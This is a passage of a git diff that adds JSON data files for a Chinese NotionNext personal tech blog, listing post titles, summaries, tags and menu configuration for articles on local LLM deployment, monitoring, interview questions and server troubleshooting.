MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":3,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"2024-3-20","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"2024-3-19","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"2024-1-21","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"2024-1-21","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"tag":"开发"},"__N_SSG":true} \ No newline at end of file diff --git "a/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\345\276\256\346\234\215\345\212\241.json" "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\345\276\256\346\234\215\345\212\241.json" new file mode 100644 index 000000000..ac11dd453 --- /dev/null +++ "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\345\276\256\346\234\215\345\212\241.json" @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM 